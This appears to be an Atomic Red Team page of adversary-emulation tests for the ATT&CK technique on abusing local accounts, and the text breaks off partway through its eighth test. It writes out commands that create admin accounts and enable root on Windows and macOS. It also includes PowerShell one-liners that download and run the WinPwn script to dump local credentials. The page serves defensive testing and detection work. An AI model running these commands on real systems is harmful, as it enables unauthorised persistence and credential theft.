# T1078.003 - Valid Accounts: Local Accounts

## Description from ATT&CK

> Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.
> 
> Local Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.

[Source](https://attack.mitre.org/techniques/T1078/003)

## Atomic Tests

- [Atomic Test #1: Create local account with admin privileges](#atomic-test-1-create-local-account-with-admin-privileges)
- [Atomic Test #2: Create local account with admin privileges - MacOS](#atomic-test-2-create-local-account-with-admin-privileges---macos)
- [Atomic Test #3: Create local account with admin privileges using sysadminctl utility - MacOS](#atomic-test-3-create-local-account-with-admin-privileges-using-sysadminctl-utility---macos)
- [Atomic Test #4: Enable root account using dsenableroot utility - MacOS](#atomic-test-4-enable-root-account-using-dsenableroot-utility---macos)
- [Atomic Test #5: Add a new/existing user to the admin group using dseditgroup utility - macOS](#atomic-test-5-add-a-newexisting-user-to-the-admin-group-using-dseditgroup-utility---macos)
- [Atomic Test #6: WinPwn - Loot local Credentials - powerhell kittie](#atomic-test-6-winpwn---loot-local-credentials---powerhell-kittie)
- [Atomic Test #7: WinPwn - Loot local Credentials - Safetykatz](#atomic-test-7-winpwn---loot-local-credentials---safetykatz)
- [Atomic Test #8: Create local account (Linux)](#atomic-test-8-create-local-account-linux)
- [Atomic Test #9: Reactivate a locked/expired account (Linux)](#atomic-test-9-reactivate-a-lockedexpired-account-linux)
- [Atomic Test #10: Reactivate a locked/expired account (FreeBSD)](#atomic-test-10-reactivate-a-lockedexpired-account-freebsd)
- [Atomic Test #11: Login as nobody (Linux)](#atomic-test-11-login-as-nobody-linux)
- [Atomic Test #12: Login as nobody (freebsd)](#atomic-test-12-login-as-nobody-freebsd)
- [Atomic Test #13: Use PsExec to elevate to NT Authority\SYSTEM account](#atomic-test-13-use-psexec-to-elevate-to-nt-authoritysystem-account)

### Atomic Test #1: Create local account with admin privileges

After execution the new account will be active and added to the Administrators group

**Supported Platforms:** Windows

**auto_generated_guid:** `a524ce99-86de-4db6-b4f9-e08f35a47a15`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| password | Password for art-test user | string | -4RTisCool!-321|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
net user art-test /add
net user art-test #{password}
net localgroup administrators art-test /add
```

#### Cleanup Commands

```cmd
net localgroup administrators art-test /delete >nul 2>&1
net user art-test /delete >nul 2>&1
```
### Atomic Test #2: Create local account with admin privileges - MacOS

After execution the new account will be active and added to the Administrators group

**Supported Platforms:** macOS

**auto_generated_guid:** `f1275566-1c26-4b66-83e3-7f9f7f964daa`

#### Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)

```bash
dscl . -create /Users/AtomicUser
dscl . -create /Users/AtomicUser UserShell /bin/bash
dscl . -create /Users/AtomicUser RealName "Atomic User"
dscl . -create /Users/AtomicUser UniqueID 503
dscl . -create /Users/AtomicUser PrimaryGroupID 503
dscl . -create /Users/AtomicUser NFSHomeDirectory /Local/Users/AtomicUser
dscl . -passwd /Users/AtomicUser mySecretPassword
dscl . -append /Groups/admin GroupMembership AtomicUser
```

#### Cleanup Commands

```bash
sudo dscl . -delete /Users/AtomicUser
```
### Atomic Test #3: Create local account with admin privileges using sysadminctl utility - MacOS

After execution the new account will be active and added to the Administrators group

**Supported Platforms:** macOS

**auto_generated_guid:** `191db57d-091a-47d5-99f3-97fde53de505`

#### Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)

```bash
sysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin
```

#### Cleanup Commands

```bash
sysadminctl interactive -deleteUser art-tester
```
### Atomic Test #4: Enable root account using dsenableroot utility - MacOS

After execution the current/new user will have root access

**Supported Platforms:** macOS

**auto_generated_guid:** `20b40ea9-0e17-4155-b8e6-244911a678ac`

#### Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)

```bash
dsenableroot #current user
dsenableroot -u art-tester -p art-tester -r art-root #new user
```

#### Cleanup Commands

```bash
dsenableroot -d #current user
dsenableroot -d -u art-tester -p art-tester #new user
```
### Atomic Test #5: Add a new/existing user to the admin group using dseditgroup utility - macOS

After execution the current/new user will be added to the Admin group

**Supported Platforms:** macOS

**auto_generated_guid:** `433842ba-e796-4fd5-a14f-95d3a1970875`

#### Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)

```bash
dseditgroup -o edit -a art-user -t user admin
```

#### Cleanup Commands

```bash
dseditgroup -o edit -d art-user -t user admin
```
### Atomic Test #6: WinPwn - Loot local Credentials - powerhell kittie

Loot local Credentials - powerhell kittie technique via function of WinPwn

**Supported Platforms:** Windows

**auto_generated_guid:** `9e9fd066-453d-442f-88c1-ad7911d32912`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
obfuskittiedump -consoleoutput -noninteractive
```

### Atomic Test #7: WinPwn - Loot local Credentials - Safetykatz

Loot local Credentials - Safetykatz technique via function of WinPwn

**Supported Platforms:** Windows

**auto_generated_guid:** `e9fdb899-a980-4ba4-934b-486ad22e22f4`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
safedump -consoleoutput -noninteractive
```

### Atomic Test #8: Create local account (Linux)

An adversary may wish to create an account with admin privileges to work with. In this test we create a "art" user with the password art, switch to art, execute whoami, exit and delete the art user.

**Supported Platforms:*